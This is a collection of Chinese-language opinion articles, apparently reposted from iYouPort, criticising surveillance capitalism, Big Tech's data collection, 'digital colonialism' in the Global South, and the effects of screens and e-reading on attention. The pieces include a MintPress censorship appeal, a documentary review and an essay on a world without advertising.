第三，我们必需打破奖励监控经济的经济激励机制。我们可以禁止那些对贪婪的数据收集施加需求的商业行为。民主社会已经取缔了买卖人体器官和婴儿的市场。交易人类的市场被取缔，即使它们支持整个经济。

这些原则已经在塑造民主行动。联邦贸易委员会在对Facebook立案后不到一周，就启动了对社交媒体和视频流公司的研究，并表示打算“掀开”内部运营的盖子，“仔细研究它们的引擎”。三位委员的一份声

明将矛头指向了“能够监视和货币化我们的个人生活”的科技公司，并补充说，“关于这个行业的太多东西仍然是危险的不透明的”。

欧盟和英国的突破性立法提案如果获得通过，将开始将这三项原则制度化。

欧盟的框架将对最大平台的内部运营黑箱实行民主治理，包括全面的审计和执法权。基本权利和法治将不再在网络边界蒸发，因为立法者坚持“一个安全、可预测、可信任的网络环境”。在英国，“在线伤害法案”将建立一个法律上的“关爱义务”，要求科技公司对公众伤害负责，并包括广泛的新权力和执法权力。

在国会小组委员会令人印象深刻的反垄断报告中，有两句话经常归功于 Brandeis 大法官。“我们必须做出选择。我们可以拥有民主，也可以让财富集中在极少数人手中，但我们不能两者兼得”。这句话与 Brandeis 的时代如此相关，仍然是对我们所知道的旧资本主义的辛辣评论，但它忽略了认识我们的新资本主义。

除非民主撤销偷窃的许可，并挑战商业监控的基本经济学和操作，否则认识论政变将削弱并最终改变民主本身。我们必须做出选择。我们可以拥有民主，也可以拥有监控社会，但我们不能两者兼得。我们要建立一个民主的信息文明，已经没有时间可以浪费。〇

The Coup We Are Not Talking About

原文

数字极权的审查如何扼杀独立媒体？ - iYouPort

监视资本主义的世界老大哥的真面目

反对那些试图让我们沉默的权势。自2012年以来，MintPress 一直站在最前沿揭露国家安全局、军工企业、劫持民主的危险。我们坚决反对媒体歌利亚—企业媒体—控制着我们所看到、听到和阅读的90%以上的内容，为美国公众提供相关信息。

媒体应该被追究责任，它们正在与包括华盛顿邮报和 Buzzfeed 在内的企业媒体巨头携手合作，扮演思想警察，并在 Facebook 上瞄准 MintPress 的 “假新闻”观察员。更糟糕的是，像大西洋理事会这样的北约资助的智库也与 Facebook 合作压制我们的内容，将我们的帖子标记为“不恰当”或“垃圾”，并且在许多情况下以打击“伪造”为幌子审查我们新闻。

Facebook 时代已经屈指可数了。而且不仅仅是 Facebook—MintPress 的文章甚至在搜索结果中也被 Google 所阻止。不仅如此，我们一直受到威胁，谷歌广告中断了我们的主要收入来源之一 ，该广告将我们的一些调查内容标记为“不适合”广告客户。

近七年前，当我推出 MintPress 时，我设想了一个独立的监督新闻组织，它不仅仅提供了谁、什么、何时何地的基础知识，而是更多地关注“为什么”和“如何”。MintPress 一直在不知疲倦地揭露特殊利益集团是谁，并解释他们为什么以及如何在幕后制定国内外的政策，包括他们对不断发展的军事机器的影响。

最近，MintPress 成为曝光美国/沙特领导的也门种族灭绝战争之真相的新闻组织之一，战争已经让 70% 以上的人口挨饿，并带来了严重的霍乱疫情。我们通过读者的财政支持实现了广泛的报道，使曾经沉默的也门人民的困境成为国际社会关注的焦点。

10月9日，Facebook 清除了 800 多个页面帐户，然而，许多被清除的账户是合法的监督新闻网页，包括 Anti-Media 和 The Free Thought Project，他们报道了不断增长的警察国家如何侵犯了公民的

权利，以及臃肿的战争机器。在 Facebook 删除他们的页面后几个小时内，他们的 Twitter 帐户就被清除了。

Help MintPress News Fight for Truth in the Face of Social Media Censorship. We have stood up strong against a media Goliath—the corporate media—that controls over 90% of what we see, hear and read in equipping the American public with pertinent information that holds the establishment accountable.

原文

数字殖民主义威胁全球南方国家 - iYouPort

关于高堡奇人监视资本主义的世界

一种新的殖民主义引起全球南方国家的警惕。这种新时代的殖民手段只有中国和美国才能做到。如何抵制剥削和侵犯？

「图」

「图」

硅谷公司正在接管全球南方国家的数字经济，这是一种现代版的殖民。

在南非，谷歌和 Facebook 主导着在线广告行业，是对当地媒体的关键生存威胁。优步已经占领了传统的出租车行业，在“南非的出租车战争”中，司机遭到汽油炸弹袭击。肯尼亚也爆发了类似的战斗。

与此同时，Netflix 不仅将用户从当地电视服务中拉走，而且还在非洲购买内容。流媒体巨头现在是全球互联网流量的头号来源。

在印度，Facebook 被迫取消其“Free Basics”计划，该计划让社交媒体巨头控制了所有人手机上的互联网体验。因为印度人抗议说，这项服务加深了 **Facebook** 的垄断力量，并对所有人进行了审查和监视。尽管如此，Facebook 在包括印度在内的大多数国家都在扩张，**Free Basics** 在**60**多个国家都很活跃。通过该项目，Facebook 在肯尼亚和加纳等国家保留了其影响力。

到底是怎么回事？

大型科技公司正在对全球南方国家造成严重破坏。科技生态系统存在危机，这就是被称为数字殖民主义的东西。

在传统的殖民主义下，欧洲人剥夺了土著人民的土地，剥削了他们的劳动力，行使了域外治理，并通过战略性的不发达使得依赖和掠夺永

久化。东印度公司等巨头企业在这一过程中发挥了关键作用。在追求利润和权力的过程中，欧洲人获得了关键基础设施的所有权和控制权，包括港口、水路和铁路。

在这种安排下，帝国权力设计了铁路供其他国家的权力掠夺：它们绕过了土著居民的村庄，并将商业和军事前哨连接到海港。土著人民被剥削以提取原材料，这些原材料被送回欧洲进行制造。剩余的欧洲产品将淹没殖民地，破坏土著居民发展本国工业的能力。殖民大国在其庞大的帝国中部署了这种基础设施统治。

类似于经典殖民主义的技术架构，数字殖民主义植根于技术生态系统的设计，目的同样是为了获利和掠夺。如果铁路和海上贸易路线是全球南方的“开放脉络”，那么今天，数字基础设施扮演着同样的角色：大型科技公司使用专有软件、企业云和集中式互联网服务来监视所有用户，处理他们的数据，并将利润完全吸收到数字领域的主体。

例如，谷歌从各种来源窃取用户数据—谷歌搜索，地图，广告，Android 定位服务，Gmail等等—为他们提供地球上最丰富的信息集合之一。通过开放手机联盟和他们的“杀手级应用程序”的专有控制，他们能确保全世界的数据都流入他们的企业云。然后，他们处理消费者和商业服务的数据。

这些巨头科技公司已经在全球范围内扩展了其产品，从世界各地的用户那里获取珍贵的数据和利润，同时将能源和资源集中在两个国家，即美国和中国。也就是**IYP**一直强调的“高堡奇人”，这是最重要的地缘政治。

较贫穷的国家被现成的服务和技术所淹没，无法发展自己的产业和与西方公司相竞争。他们也无法保护自己的人民免受剥削。

控制技术如何运作构成了数字殖民主义的基础。软件通常是专有的，这意味着用户无法读取、修改或共享源代码。这可以防止人们理解和控制计算机的工作方式。

如果公众无法采取直接行动来改变其软件的运作方式，也就不能让大科技公司承担责任。

正是出于这个原因，美国软件程序员 Richard Stallman 在20世纪80年代初开始倡导免费和开源的软件。“专有软件是一种枷锁，是一种不公正的权力工具，”Stallman 说道。

人们应该可以自由地控制他们的计算机，这要求他们可以访问软件源代码—这些指令可以告诉您的计算机该做什么。

编写自由软件许可证是为了颠覆专有软件的专制权力：它们保护用户使用，研究、修改和共享软件的自由。他们保证软件免费，向所有人开放，并实现问责制。

例如，Microsoft 将其 Windows 操作系统配置为监视其用户。如果它不受微软的专有控制，计算机黑客行动主义者肯定会剥夺其间谍服务，并为公众发布修改后的“免间谍”版本的 Windows。

然而，仅靠自由软件还不足以保护公众利益，因为近年来，监视资本主义已经在用户控制之外产生了集中化的互联网服务。像 Facebook 这样的平台是最终用户之间的“信息中介”。想给朋友发一张照片吗？您首先要将其发送到 Facebook，然后您的朋友从 Facebook 下载它。

随着企业巨头转向集中化服务，对用户的监控空前飙升。云计算起着关键作用。虽然自由软件为在您自己的设备中运行的软件创建问责制，但它不能对公司运行的云服务产生责任。这是因为该软件正在其他人的计算机上运行（Facebook，Google 等）。企业云剥夺了人们控制计算机的能力。

更多详见《大型“云”供应商时代的审查制度：集中化毁掉互联网自由》

云服务为企业提供数 PB 的信息，企业使用这些数据来培训人工智能系统。 AI 使用大数据来“学习”—它需要数百万张图片才能“理解”如何识别字母“A”和其变形。从这个意义上说，“数据是新的石油”。

当应用于人类时，人们个人生活的敏感细节成为科技巨头不断尝试提取的极其宝贵的资源。

大数据的“反馈效应”使情况变得更糟：拥有更多更好数据的人就可以创建最好的人工智能服务，吸引更多的用户，从而为他们提供更多数据—循环的循环。

网络效应，规模经济，以及用于基础设施、培训和产品开发的大量资源，进一步集中到了企业巨头手里。硅谷可以聘请最好的计算机工程师，疯狂收购初创公司和竞争对手，并游说政府寻求策划有利于这些寡头的政策。

除此之外，如果没有严格的审查工具（如中国的“防火墙”），互联网

是通用的，并且平台不容易受到限制，而我们面临的情况是硅谷正在全球范围内集中权力。

美国大科技公司在美国以外的地区同样占据主导地位。随着美国本土市场相对饱和，和中国的“反转**GFW**”一样，他们一直在寻求殖民新兴市场。详见IYPl类目“关于高堡奇人”部分。

大型科技公司也在国外建立自己的服务器集群，以捕捉新兴市场并将其转向硅谷的集中式云经济模式。

一些评论员认为，对于 Big Tech 的所有问题，他们提供有价值的服务。一个常见的比喻是Facebook“连接世界的用户”。好吧，使用相同的逻辑，人们仍然可能赞扬英国殖民者提供的铁路设施。显而易见的一点是，这些系统是为了统治而设计的，当它们本来可以为当地社区造福时。

与此同时，全球南方国家不太能够保护其人民免受剥削。拥有权力的国家—美国、欧盟国家、澳大利亚—都是那些在大科技公司上发号施令的国家。

这就产生了一个问题：全球用户正在接受美国公司制定的规范。“代码就是法律”，因为计算机代码构成了对所有用户具有约束力的私有化规则。如果 YouTube 想阻止共享受合理使用保护的内容，那么外国司法管辖区就无法做到改变它。

语音规则、内容审核和结社自由也是如此：主要的社交网络使用算法和员工规则手册来审查内容，塑造人们在新闻提要中*能*看到的内容，确定允许哪些活动家和其他社会团体*能*在他们的平台上形成。详见《深陷 matrix》《请记住：你一直在被社交媒体操纵》《"当 “不作恶” 成为空谈，“定制人”将终结民主"》

这意味着美国以外的用户正处于硅谷事实上的域外治理之下。

将自由软件和开源软件与用于重新分散互联网的工具相结合的运动正试图做到这一点。 2010年，哥伦比亚大学法学教授 Eben Moglen 宣布了 FreedomBox 项目：自由软件将计算机设备转变为个人服务器，提供运行云服务所需的技术，而无需中间人控制。

FreedomBox 可以托管像 Mastadon 或 GNU Social 这样的分散式社交网络，以及电子邮件和通信服务。它构建了 Tor 洋葱路由选项以保护您的隐私，并允许您将数据存储在家庭设备上—并随时访问它。

FreedomBox 项目融合了核心开发人员 Sunil Adapa 和 Joseph Nuthalapati 的主要贡献。在过去的几个月里，他们与 NGO Swecha 合作，在12个印度村庄成功实施了 FreedomBoxes。

该项目使用旧设备为村民提供**WiFi**连接，同时为他们提供分散化服务和阻止监控的技术。 **FreedomBox** 项目正在向其他村庄扩展，它是开源的，并且可以在世界范围内进行复制。

全球南方国家都应该开发和扩大像印度的 FreedomBox 这样的举措。在可行性研究中，麻省理工学院的研究人员发现，从技术角度来看，互联网重新分散化是可行的。可以肯定的是，存在挑战。发展资金不足，数百万人使用新服务可能很困难，但这并非不可能，虽然其成本远远超过其效益。

可以构建自由开源，可互操作和分散的技术，以便世界上任何地方的任何机构都无法拥有或控制它。这将减轻许多属地管辖权的问题。增加新的法律工具以补充数字生态系统的改革将进一步加强数字权利。

打击数字殖民主义不仅从隐私和个人用户权利的角度来看非常重要。在全球鸿沟威胁环境及其生存的时代里已经无法进一步集中财富和权力。我们必须确保技术服务于世界人民，而不是百分之百的利益。

正如南非Wits大学副校长所警告的那样，“对[技术创新]的考虑甚至没有进入公众语话，我们再次成为了仅仅是我们无法控制的经济力量和过程的受害者。”尽管有例外，很少有人在考虑这是如何实际运作的。

现在是时候将硅谷视为帝国力量，并认真对待阻止数字殖民主义所需的根本性变革。

Digital colonialism is threatening the Global South. It’s time to talk about Silicon Valley as an imperial force and what has to be done to resist its power.

原文

新纪录片揭示 Facebook 和谷歌的真面目 - iYouPort

关于谷歌-监视资本主义的创始人监视资本主义的世界

‘Creepy Line’ 是导演 MA Taylor 的新纪录片，现在正在亚马逊 Prime 流媒体播出。它提供了一个启发性的视角，让人们看清谷歌和 Facebook 如何影响用户对世界的看法，以及我们通常认为是这些公司的客户的用户如何根本不是真正的客户。事实上，用户是出售给第三方的产品。

Creepy Line 这个剧名来自 Google 前首席执行官埃里克施密特（Eric Schmidt）发表的描述，他表示：谷歌的使命是“get right up to the creepy line and not cross it”。

事实上，通过开创“ 监控商业模式 ”，谷歌多年来一直在踩着这个“Creepy Line”。并不是说这对公司来说是一个很大的问题，⚠ 正相反，很少有用户有动力停止使用 Google 产品。人们已经被谷歌彻底绑架了。

这就是对这种监视模式如何运作的最基本解释。Creepy Line 最有趣的是：电影制作者用简单的语言解释了极少数公司如何编制数亿人类的大量数据资料，以及用户数据是如何由编译它的公司卖掉的。

这部电影说明了在监控模式上运行的公司，我们对消费者主权、生产者主权和企业家—客户关系的旧概念并不像我们认为的那样适用。用户不是客户，谷歌和 Facebook 的盈利能力并不完全取决于用户的行为。

真正重要的是，Google 和 Facebook 可以继续从足够多的人那里提取隐私数据，以便向广告商销售产品。当然，这将需要 Facebook 和谷歌保持一个假装亲切的外观，继续骗取你自愿交出个人数据。

一两个人醒过来根本没用，对破解监视资本主义起不到任何作用。这就是为什么像谷歌和 Facebook 这样的公司几乎不会顾及任何热门用户。那些人不是客户。真正重要的是广告收入。

更重要的是，这种控制信息的权力可能会通过控制选民对候选人的看法来扩展到操纵选举。

他们在理论上有权力这样做是众所周知的，而该片也或多或少地证实了这一点。也是我们曾经在《“定制人”将终结民主》一文中重点强调的。

更为危险的是，新闻消费者几十年来都没有从传统新闻媒体的明显偏见中学到任何教训。尽管万维网提供了大量的新闻、研究和意见来源，但大多数用户都满足于让其他人拥有主导自己认知的权力。

The Creepy Line 将谷歌和 Facebook 描绘为在这方面达到了新的邪恶程度，但操纵选民的关键因素仍然是选民自己。选民似乎满足于让自己被操纵。因为他们自己完全可以寻找除了 CNN 或谷歌新闻以及他们的 Facebook 新闻源以外的其他新闻来源，独立的媒体和真相。但是，许多人只是选择不这样做。

The Creepy Line: A New Documentary on the Power of Tech Giants. Although The Creepy Line has attempted to portray Google and Facebook as achieving a new level of nefariousness in this regard, the critical ingredient in the manipulation of voters remains the voters. It appears the voters are content to let themselves be manipulated. They could seek out news sources other than CNN or Google News or their Facebook news feed. Many simply choose not to.

原文

最完美的绑架 - iYouPort

你如何正在被互联网所改变-媒介效应你我的灾难现实监视资本主义的世界

没有了时间的深度，每个人都生活中扁平的世界里，处于同一水平上，也只能具有同样的价值……为什么通过互联网传播知识是低效的？为什么我们经常难以通过社交媒体促成有意义的交流？

「图」

「图」

> “只有我们牢牢抓住他们的注意力时，我们才有希望去征服他们的心和灵魂“—— 谷歌前 *CEO Eric Emerson Schmidt*

Los Altos 是加州最富有的地方之一，这里的街道两旁种满了红杉和杏树，站在这里还可以俯视谷歌总部山景城。

那里有一个私立学校，学校里3/4的学生父母都在惠普、苹果、雅虎或者谷歌工作。这里是硅谷的中心地带，也是大数据的据点。而在这里上学的孩子们在四年级之前不被允许接触到智能手机、iPad和电脑。

那些数字时代的领袖们小心翼翼地让自己的孩子远离他们为别人的孩子准备的世界。

twitter 的联合创始人 Evan Clark Williams 并没有给他的孩子购买 iPad，而是买了几百本真正的书。在苹果创始人乔布斯的家里，晚宴中是绝对不允许使用手机和平板电脑的，他的孩子也似乎完全不会依赖这些电子设备。这是乔布斯的传记作者对纽约时报说的。

我们中的几乎所有人正在越来越多地通过屏幕生活，但在这个过程中，我们彼此之间真正的人际互动的数量一直在加速下降。我们绝对

沉迷于自己的手机、电视机和电脑，如果被迫“拔掉插销”几个小时，我们中的许多人实际上会变得非常不舒服。但即使大多数人已经知道了没有Wi-Fi是一种恐怖，刚刚发布的全新调查数据仍然令人难以置信。

根据对2000人进行的调查，美国普通成年人每天花费大约6小时43分钟盯着屏幕……

也就是说将近一半的清醒时间将花在屏幕上。更具体地说，调查发现，在42%的清醒时间里，人们的目光都集中在电视、智能手机、电脑、平板电脑或其他设备上。假设平均每晚睡8个小时（大多数成年人的情况甚至没有达到8小时），研究人员计算出人们每天花大约6小时43分钟盯着屏幕，以平均寿命计算也就是一生花费掉7,956天。

人们经常说“人如其食”，当涉及到我们的思想时，同样的规律也是适用的。

六家大型媒体公司控制着我们通过电视机获得的90%以上的新闻和娱乐，并且大型公司也迅速整合了对互联网的控制。

这便给精英们提供了巨大的力量来影响全民对世界的看法。

如果我们想要反击，我们就必须接触到人们，而他们却一直盯着某种屏幕。

根据同样的调查，这种趋势似乎正在随着时间的推移而加速……

研究者指出，一旦电脑成为了主要的刺激工具，平板电脑加剧了注意力不集中的问题、延迟了语言能力的出现、阻挠了因果关系原则和时间第一观念的建立、改变灵巧和整体上的运动机能的发展，将会对社会适应能力构成明显的损害。

当心理医生劝说患上抑郁症的患者远离社交媒体时，已经来不及了，错失恐惧症 FOMO 已经形成并根深蒂固，人们摊开手说：就这样吧，如果它是一场绑架，那么真的是非常完美的绑架。

- 关联：《百忧解时代（二）数字世界里焦躁的“新”人类》

但是，以上这一切都没有阻止这些科技巨头们，一直都没有。

在乔布斯去世前不久他还在指示他的营销团队给小学施加压力，以便学生们可以使用iPad来学习阅读，而不是纸质的书籍。让学校成为该

产品的桥头堡，通过让学生熟悉这一工具，从而培养未来的购买者。谷歌也一样。

去年，20% 的 K-12 学生被要求使用谷歌 Chromebook，总计超过 3000 万学生、教师和管理员使用谷歌的 G Suite for Education。便宜的笔记本电脑和功能强大的软件已成为学校教授计算机和其他技能以及与学生和家长之间沟通的极具成本效益的媒介。孩子们可以提交作业，参加考试，检查成绩，并使用这些 Google 产品与他人协作。

根据电子前沿基金会（EFF）的报告，这些谷歌产品还为谷歌、学校和其他软件制造商提供了收集学生个人数据的机会。基本上，这些产品是谷歌用来推动其广告业务的特洛伊木马。

EFF 发现许多学校没有提供有关数据收集的书面披露或没有非常关注隐私条款，而且大多数学校都没有为学生提供退出的选项，没有提供替代方案。这意味着学生对谷歌的防备比成人更少，谷歌利用了这种松懈，建立了学生的详细档案，并将其用于广告、市场研究和其他目的。

在众多诉讼案件中，Google 已承认这样做了，包括扫描和索引学生的电子邮件、以及向**13**岁以下的 **YouTube** 用户发送广告。谷歌还承认，它收集了通过其教育软件登录的学生用户的各种个人信息。

但这么做的不仅仅是谷歌。在其调查中，EFF 发现其他软件公司也在学生使用他们的产品时收集学生的个人数据。

「图」

「图」

电子图书不仅是你的新玩具，还是大数据市场的一个极佳的财富来源。全球范围内已经至少有970万台iPad销售量，苹果的租金是显而易见的，因为对于每一份加载费用，苹果公司都要抽取10%的利润。同时作为奖励，阅读时间也在被货币化。

而电子书实际上充斥着窥探你阅读习惯的各种软件应用。世界平板电脑行业的领导者之一，也是国家经理采购联盟（FNAC）在法国的合作伙伴—Kobo 在挖掘了基数为2100万用户的数据后宣称，那些购买了泽穆尔最新作品的人中只有7.3% 的人坚持读到了最后一页。

他们知道的可不止这些，还包括你对段落的选取、你的笔记和复制，其中就隐藏着你的想法、欲望、倾向和目的。

大数据还可以在书籍选择和阅读方式方面提供非常有效的信息，这些信息紧接着被专卖给希望更好地找到目标消费者的出版商和广告商，这只是基础层面的。在法国，两个主要的无限下载电子书的网站就仅仅通过提供阅读数据来融资。以 YouBoox 为例，他们甚至还为出版商提供了一个可以获取阅读者信息的专门网站。

电子书的出现不仅仅是为了让书本消亡，而是通过各种超级文本链接让书本的“内容增加”，“变得丰富和生动”；同时还通过各种各样类型的声音、视频、以及注释等组成的桥状网络来吸引并干扰读者。

大数据追求者的目标就是把所有人的时间都放在网络上，因为这些时间就是他们的利润。沉浸在纸质书中的读者是大数据遥不可及的，因为他们没有任何网络连接，他们不提供任何数据，因而就没有任何养活老大哥的商业利益。

网络公司的企业家们最不想要的就是缓慢而专注的阅读。鼓励“浅阅读”是符合他们利益的，美国著名作家 Nicholas G. Carr 说。

电子阅读的习惯已经养成，并且占据网民中绝大部分，这种习惯导致人们像一群沉湎于觅食的蜜蜂一样，总是快速地从一个主题跳到另一个主题。思想变得碎片化，很难集中精力在某件事上。这就是为什么我们对互联网传播知识的效用不报太大期望。（《iYouPort 答读者问：“受众面不是重点问题”》）

IYP 的圣诞节特辑读者来稿中有一位读者写道：“每天都在看很多文章，很多人说的话，有些东西写的很好，当时会觉得将来一定用得到吧。可是我要用的时候才发现 ……它们根本没有在我的脑子里。”这位读者描述得很准确，而且这是非常具有普遍性的。

哲学家 Roger Pol-Droit 曾经警告过：这种阅读形式导致思想在集中与不集中两种状态下不断切换，并且也导致了不同记录的永久性重叠，同时也会引起读者对电脑屏幕、信息以及外力的持续性依赖。所有这一切都会深度改变人们的思考和感知方式。他是对的。

这就是为什么我们一直在对媒体垄断—六家巨头把控的大型媒体公司占据了90%的市场份额—这一事实保持绝对的警惕，因为对屏幕高度依赖的结果将导致所有人变成符合富人利益的定制人，寡头的玩具。也是为什么要强调独立媒体的重要性，独立媒体不仅是传统的新闻自由的捍卫者，并且，还是缓解媒介绑架的唯一方法—如果已经没人能离开互联网的话。

有证据证明，电子阅读会深入影响人们的思想结构本身，电子阅读者对信息的接收和理解能力都更弱。阿尔伯塔大学的研究人士所做的实验更令人震惊，他们让两组受试者阅读同一则新闻，结果显示，阅读了被数字化加工充实的新闻的人中有**75%**的人对该信息的理解有困难；而另一组仅有**10%**。

加州大学心理学教授 Patricia Greenfield 指出，越来越频繁的互联网使用将会削弱人们深入认知的能力，这包括进行归纳分析的能力、产生批判性思考的能力、以及想象力和思辨能力。以下是我们对1月份出现的一则新研究给出的评论，您可以在这里看到这项研究《Exposure to opposing views on social media can increase political polarization》

「图」

「图」

Greenfield 不是唯一一个对此提出警告的科学家。病理学教授 Gary W. Small 也曾指出，当前数字技术的爆发式发展不仅仅改变了我们的生活和沟通方式，同时它也迅速并且深入地改变了我们的大脑。在此之前还从来没有哪个技术能够在如此短的时间里使人们的认知结构发生如此的混乱。

人类大脑有着与生俱来的对信息接收的贪婪性，由此便成为了大数据手到擒来的猎物。在石器时代，人类的大脑只有分散注意力才能保持生命持续，全方位分散注意力可以帮助人类在背景嘈杂中发现危险的蛛丝马迹，并及时作出防御。

而数字时代不断向人类大脑提出要求，就像食品企业深知我们对高油、高糖、高盐食品的天生渴望，他们就有办法让人们在逛超市时把购物车塞满，大数据公司利用人类大脑的贪婪性来获取大量信息。并且由于人类大脑天生会被一些无意义的琐事干扰，就像散乱的拼图一样，变得难以集中。人类正在丧失专注和思考的能力—— 这就是为什么新闻如过眼云烟而无法起到任何推动变革的作用（另一个方面，即 现代的媒体的问题这个方面的解释我们已经做出了，而当下媒体之所以变成这样，正是因为他们高度迎合市场，也就是说，市场的娱乐化碎片化倾向在先，媒体转变在后），也是为什么我们经常难以通过社交媒体促成有意义的交流。

网络是一台把一切现实简化的机器，它甚至把语言本身也简化了。tweeter 就是个很好的例子，多年前人们就开始嘲笑，互联网人的思

考不会超出140字。而大数据的操纵者通过使语言贫瘠化，令语义的多样性大大减少，使所有人的世界观变得简单而统一。

- 关联：《互联网上究竟有多少东西是假的？》结果可能超出你的想象

从数字化教学到MOOC（即大众网络开放课程的竞争），学校培养出的不再是公民，而是完美的消费者，最适合数字经济的个体。历史学家 Marc Fumaroli 描述大数据的意图时形容到："它把人类禁锢在一个充满功利主义的、可操纵的世界里"。（"数字世界危机下的人文科学"，《费加罗报》2015年3月）

"我们所处的是一个转瞬即逝的世界，消费代替了瞬间的延续"。历史学家 François Hartog 为此创造了一个新词："现时主义"。因为目前这个现时有自己的眼界和前景，能够自给自足。从某种意义上说，这个现时包涵了它所需要的一切过去和未来，它是一种永远的现时，人们更愿意将它称之为"永恒的"。

在时间的桎梏中，唯一的境遇即瞬间。可以说这是一种虚无。尼采曾经说："瞬间：它就在那里，嗨，它一下离开了；虚无追上了它，瞬间之后便是虚无"。这句话如今可以很好的解释互联网信息对现实的无能。

线性时间消失了。在网络上，既没有开端，也没有结束。

大数据充分宣扬了《历史》的作者希罗多德 Herodotus 的思想。这部作品完成于2500年前，是人类历史上首部叙事作品。它不仅在于刻画事件，它还追溯起源，人类就是构筑这个起源链条上的一部分。Herodotus 充分讲述了连续性思想和意识。

高度促进超个人主义的社交媒体不仅夺走了民主辩论的机会，它还令人们不再能团结起来抵抗恶劣，不论是政治严冬还是气候变化，最终，人们将为此付出沉重的代价。

大数据删除了编年史，抹去了历史坐标，它将会导致无序和混乱。没有了时间的深度，每个人都生活在扁平的世界里，处于同一水平上，具有同样的价值。

已经无法通过教育来解决这个问题，因为在学校，历史的年代教育已经让位给了专题演讲。如今的人们不仅忽略历史，而且连叙事概念也不复存在了。大数据秒杀了荷马的功绩，是他奠定了西方文化的叙事

学基础。荷马的作品构筑了公民、个人和社团的概念，它是一所学习生活的学校。而现在，在无尽的、移动的互联网世界里，Cronos 的时间之箭已经变得毫无意义，叙事不再出现，它已经淹没在互联网时代的焦灼之中。

使用谷歌地图的人达到十几亿之多，如今没有人会在迷路的时候忘掉 GPS。我们把指路和导航的任务交给了大数据，通过对这些日常生存基本功进行转包，人类的大脑将越来越退化。对记忆力和方向感来说也是同样如此。

出租车司机由于熟记城市道路及名称，他们大脑中掌管记忆和方向感的海马体特别发达。相反，如果我们过度依赖导航而不经常动脑，大脑组织就会发生物理性的转变。

几千年来，人类通过绘图学和编年学构筑我们的思维，如果没有了这些工具，我们就会越来越难以掌握我们身处的这个世界。

Vitaminwater 去年对智能手机成瘾者发起了一项100,000 美元奖金的挑战，如果参赛者可以在没有使用任何智能手机的情况下生活 365 天，他或她就可以获得 100,000 美元。这是有特别意义的，而不仅仅是个游戏。

大数据取代我们知晓这一切，并不要紧。和数字网络相比，人类的神经系统运行速度仅为其四百万分之一，正因此谷歌的联合创始人拉里佩奇宣称：“人类的大脑是一台过时的机器，它需要被速度更快的处理器和更强大的内存所取代”。

总之，在这里，你只是消费者，而不是公民。●

Une puissance mutante, ensemencée par la mondialisation, qui ambitionne ni plus ni moins de reformater l’Humanité. La prise de contrôle de nos existences s’opère au profit d’une nouvelle oligarchie mondiale. Pour les Big data, la démocratie est obsolète, tout comme ses valeurs universelles. C’est une nouvelle dictature qui nous menace. Une Big Mother bien plus terrifiante encore que Big Brother. Si nous laissons faire nous serons demain des “ hommes nus “, sans mémoire, programmés, sous surveillance. Il est temps d’agir. 《L’homme nu. La dictature invisible du numérique》 Marc Dugain & Christophe Labbé

原文

没有广告的世界……真的好吗？ - iYouPort

监视资本主义的世界

如果个人选择受到侵蚀，独立思考和道德判断就会受到损害。这使我们中很多人都会遭遇意想不到的困难。运作民主、竞争型经济，都依赖于个人意志。一个没有广告的世界究竟意味着什么？

「图」

「图」

很多公司不仅失去了利润，而且已经停业，广告正在屡战屡败。但这笔资金并没有泄漏出来，而是直接进入了监控巨头的金库——Facebook，谷歌，亚马逊和微软。

这些都是摧毁整个媒体部门的力量。关于什么使广告有用以及围绕它存在的问题的争论迫使许多人不得不思考未来，对于行业内外的人来说都不会想到美好的前景。

为了在数字革命的早期（2000年代中期）保持盈利，更聪明的代理商和控股公司全力以赴，并创建了垂直整合的媒体购买模式，尽管采用了全新的系统，但仍试图维持代理商传统的媒体购买角色。

数字观众被收集起来、切割成块，然后转售给更多的客户。这是一个端到端的流程，最初使代理商成为供应商，最终销售数字眼球和媒介。

这确保尽可能多的钱留在自己手里。这不是一个全新的想法，但只要人们没有问过太多关于在线广告欺诈的问题以及他们的媒体预算中究竟有多少是为了用户的，它就能很好地运作。

但时代变了。感谢 Bob Hoffman 等人的出色工作，每个人都对网上技巧更加明智了。客户已经知道自己不需要媒体代理来执行过去的交易。他们可以轻松直接获得。

Mark Pritchard 似乎认为这可能是我们面临的未来。在今年的CES上，他告诉观众“……开始考虑一个没有广告的世界。” 这是宝洁公司首席品牌官的一个非常大胆的号召。你可以肯定它是引人注目的。

Pritchard 一直在讨论物联网—— 安装了人工智能的产品和设备，这些产品和设备相互连接到云，自动负责为消费者订购日常用品。换句话说，市场确定性。

他有没有看到任何不利因素？他没提到。他似乎很期待自己可以不必担心说服人们购买他的产品的那种混乱、昂贵、个性化的任务。

“监视资本主义时代”一书的作者 Shoshana Zuboff 也看到了一个没有广告的未来。但她确实看到了它的缺点，一个很大的缺点。

在她经过精心研究的书中，Zuboff 警告说，在这个时代，监视范围正在扩大，其中隐私不再存在，人类不再拥有管理自己生活的权力，而是被伟大的数据聚合器及其客户有效地管理着。

基础工作已经完成。该系统现在正在完善阶段。Zuboff 认为，如果现在不采取任何行动，人类注定会成为无穷无尽的原始数据的无意识来源，而且越来越不知情。

她描述了一个反乌托邦的预见，在这个预见中，个人选择被管理着，确定性可以被买走，于是自由意志已经过时。她有很多证据支持这一未来注定会实现。

我怀疑如果你进行民意调查的话会很容易看到，很少有人会为广告的结束而哀悼，即使他们很可能经常绕过广告。更大的问题是，没有广告的世界究竟意味着什么？

如果个人选择受到侵蚀，独立思考和道德判断就会受到损害。这使我们中很多人都会遭遇意想不到的困难。运作民主、竞争型经济，都依赖于个人意志。

即使 Pritchard 和 Zuboff 都错了，广告确实继续存在了，也无可否认确实发生了地震级的变化。定时、定位和说明性数据比消息本身更有价值。我们仍称之为“广告”的内容正在转变为*适当的提示*。它可以说更接近实现。我们的自由裁量权正在减弱。我们的选择权被剥夺。

事情正在发生。问题是，我们还能走多远？

过去可能会给我们一些线索。

早在上个世纪初，美国总统罗斯福就反对“……高度集中化的财富……和富豪统治者”。他关注大公司和信托对小农、店主和平等观念的影响。但他的解决方案不是禁止或拆除那些庞然大物的公司，而是为了“规范它们”。

他在1902年的国会年会上写道：“这些大集团是现代工业主义的必然发展，而破坏它们的努力将是徒劳的。我们划定的界线必须始终是行为，而不是财富；我们对任何特定公司的反对意见必须是根据其行为，而不是因为它很大，是因为它表现得很糟糕。

强调一下我们并不是认为“很大”和“很糟糕”之间没有逻辑关系，正相反，在很多层面上它们是因果关系；正因为是巨头才可以操控法律的制定、可以压制小企业竞争对手、可以绑架政府。这也是 GDPR 没能起效的原因。GDPR 采用的就是罗斯福的思考方式。更多详见《为什么说欧洲新法规反而会加强 Facebook 和Google 的霸权？》

